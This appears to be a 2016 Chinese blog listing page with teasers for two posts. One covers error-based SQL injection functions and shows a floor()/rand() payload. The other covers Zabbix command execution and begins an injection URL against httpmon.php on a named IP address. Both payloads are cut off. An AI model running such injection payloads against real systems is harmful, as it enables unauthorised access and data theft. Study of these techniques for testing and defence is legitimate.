2016年5月14日
关于SQL注入的五大报错注入函数
摘要： ~全部都以查user()为例子~ 1.floor()id = 1 and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a) 阅读全文
posted @ 2016-05-14 22:38 Dleo 阅读(14473) 评论(0) 推荐(0)
2016年5月13日
zabbix的命令执行
摘要： 1.对于低版本的可用下列exp直接打到用户 http://119.29.48.232/zabbix/httpmon.php?applications=2 and (select 1 from (select count(*),concat((select(select concat(cast(con 阅读全文
posted @ 2016-05-13 18:21 Dleo 阅读(647) 评论(0) 推荐(0)